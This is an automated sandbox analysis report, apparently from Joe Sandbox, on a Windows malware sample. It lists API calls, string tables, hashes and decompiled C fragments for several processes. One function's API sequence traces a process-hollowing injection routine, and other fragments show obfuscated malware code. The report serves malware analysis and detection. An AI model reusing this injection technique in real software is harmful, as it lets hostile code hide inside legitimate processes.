Function 0040201E, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction ID: a43892d0f1fc751e2312f163d4b39de440685b5976e97a52a0fb587587c89ddc
Opcode Fuzzy Hash: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction Fuzzy Hash: 32F0AF7400424D6E93299B719585092BBA4FF82304F611D8EC3825BC62CA3AB893CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040202D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction ID: d517fed31536b1fc2a21567abd7de147b63b6840b6cf7dc9692091a0263e9a5e
Opcode Fuzzy Hash: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction Fuzzy Hash: D4F0C27410421DAE926CDBA0D185092BBA4FFD2304F615D5DC3426BCA2CA3AF853DA82

Uniqueness

Uniqueness Score: -1.00%

Function 00402084, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.719835854.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_tijXCZsbGe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction ID: b234b1e164d4dd428b17fdfb9b1103a254be6e4ce54d4f1e89fdf23064b212e5
Opcode Fuzzy Hash: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction Fuzzy Hash: 15E0C26910150E6E865C8A7195440D2B7D6FFC2240BA12D49C3062BC22893AB883D591

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rifsswe PID: 6952 Parent PID: 968 rifssweCOMMON

Execution Graph

Execution Coverage:	22.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.9%
Total number of Nodes:	29
Total number of Limit Nodes:	7

Executed Functions

Function 00630110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00630156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0063016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00630255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00630270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00630283
GetThreadContext.KERNELBASE(00000000,?), ref: 0063029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 006302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00630304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0063032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00630399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006303BF
SetThreadContext.KERNELBASE(00000000,?), ref: 006303E1
ResumeThread.KERNELBASE(00000000), ref: 006303ED
ExitProcess.KERNEL32(00000000), ref: 00630412

Memory Dump Source

Source File: 00000009.00000002.756281625.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_630000_rifsswe.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: c58f1aed84e77e5f6a8aa54a89c2360201f9d3ccd902219b293132fca4d5a1e3
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: F9B1C774A00209AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00630630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 006306E2

Strings

MessageBoxA, xrefs: 006306EE, 006306F4
VirtualProtectEx, xrefs: 006314E9, 006314EF
SetThreadContext, xrefs: 00630D7A, 00630D80
GetModuleFileNameA, xrefs: 00630EFB, 00630EFE
GetMessageExtraInfo, xrefs: 00630794, 0063079A
GetMessageA, xrefs: 006312F7, 006312FA
ResumeThread, xrefs: 00630DEF, 00630DF5
user32, xrefs: 006306DB, 006306E1
WaitForSingleObject, xrefs: 00630E95, 00630E9B
CreateProcessA, xrefs: 006309BB, 006309C1
PostMessageA, xrefs: 006312B0, 006312B6
ExitProcess, xrefs: 00631554, 0063155A
NtUnmapViewOfSection, xrefs: 00631085, 0063108B
GetFileAttributesA, xrefs: 006313D7, 006313DA
ReadProcessMemory, xrefs: 00630C4A, 00630C50
WriteFile, xrefs: 006308CD, 006308D0
CreateFileA, xrefs: 0063088B, 00630891
ntdll.dll, xrefs: 00630FE2, 00630FE8
DefWindowProcA, xrefs: 00631374, 0063137A
VirtualAlloc, xrefs: 00630AC1, 00630AC7
kernel32, xrefs: 006307ED, 006307F3
CloseHandle, xrefs: 00630938, 0063093E
VirtualFree, xrefs: 00630BB2, 00630BB8
GetCommandLineA, xrefs: 00630F82, 00630F88
RegisterClassExA, xrefs: 006311B7, 006311BD
NtWriteVirtualMemory, xrefs: 0063112C, 00631132
CreateWindowExA, xrefs: 0063123E, 00631244
WriteProcessMemory, xrefs: 00630CE9, 00630CEF
VirtualAllocEx, xrefs: 00630B44, 00630B4A
GetStartupInfoA, xrefs: 0063145B, 00631461
WinExec, xrefs: 00630820, 00630823
GetThreadContext, xrefs: 00630A4C, 00630A52

Memory Dump Source

Source File: 00000009.00000002.756281625.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_630000_rifsswe.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: f1099df3d185d3022d9c5bd94ac5829f3223be9b9daf7256bccfa56cadd8bce0
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 69A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00630420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00630533

Strings

d, xrefs: 00630584
saodkfnosa9uin, xrefs: 006304DA
mfoaskdfnoa, xrefs: 00630520, 00630523
0, xrefs: 00630492

Memory Dump Source

Source File: 00000009.00000002.756281625.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_630000_rifsswe.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 8d9d3a291de3b2e86f940baeb5e6d1055acf06c27ab7a3cfbd548809c47166c2
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 59512A70D083C8DAEB11CBD8C959BDDBFB26F11708F244058D5447F286C3BA5659CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 006305B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 006305EC

Strings

apfHQ, xrefs: 006305E2, 006305E5
o, xrefs: 00630600

Memory Dump Source

Source File: 00000009.00000002.756281625.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_630000_rifsswe.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 0ac4966cc156a8af5756c4bc88038304a4014c9bcf64a1b2c98fb7dab43f5f02
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 92011E70C0424CEAEB14DB98C5193EEBFB5AF41308F148099C4092B342D7769B59CBA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00630042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.756281625.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_630000_rifsswe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a001d1b96123b8c1fec73e420cd133c101559f4059f10a477b46003edffb971c
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 2A1170723401009FE758DE65DCE1FA673EAEB88320B298155E908CB312D775EC06C7A0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rifsswe PID: 7088 Parent PID: 6952 rifssweCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000A.00000002.767851388.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_rifsswe.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000A.00000002.767851388.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_rifsswe.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000A.00000002.767851388.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_rifsswe.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 9334.exe PID: 7100 Parent PID: 3424 9334.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	16%
Signature Coverage:	0%
Total number of Nodes:	387
Total number of Limit Nodes:	5

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0048003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0048024D

Strings

kernel32.dll, xrefs: 0048008F, 00480095
cess, xrefs: 0048018D

Memory Dump Source

Source File: 0000000B.00000002.805483653.0000000000480000.00000040.00000001.sdmp, Offset: 00480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_480000_9334.jbxd

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 72a775eae1a4b434035add71987f0208f996cae5874b2caca2db1f7527f0eeec
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: F9527B74A002299FDBA4DF58C984BACBBB1BF09304F1484DAE40DA7351DB34AE89DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00480DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00480223,?,?), ref: 00480E02
SetErrorMode.KERNELBASE(00000000,?,?,00480223,?,?), ref: 00480E07

Memory Dump Source

Source File: 0000000B.00000002.805483653.0000000000480000.00000040.00000001.sdmp, Offset: 00480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_480000_9334.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 847c07dad7d1c65a66263079ffe8733c2cee155f9046193497f757a4c59233db
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 56D0123214512CB7D7402A94DC09BDE7B1C9F05B67F008411FB0DD9581C774994047E9

Uniqueness

Uniqueness Score: -1.00%

Function 004707A6, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 004707EE

Memory Dump Source

Source File: 0000000B.00000002.805460855.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_470000_9334.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5595ceff43f7b3773f2b5f76221f31d5ab95906f67ec572e80d6a2261ca759b8
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B6F0C231102310ABD7203AB5988CAAFB7ECAF49725F10852AE64A911C0DA78F8054A64

Uniqueness

Uniqueness Score: -1.00%

Function 00470465, Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 004704B6

Memory Dump Source

Source File: 0000000B.00000002.805460855.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_470000_9334.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a0bfb27cbe6de90053606688358b4ba16acdfac2ce2fc8a29e6b2121caff52c3
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 6F113F79A40208EFDB01DF98C985E99BBF5AF08350F05C095F9489B362D375EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
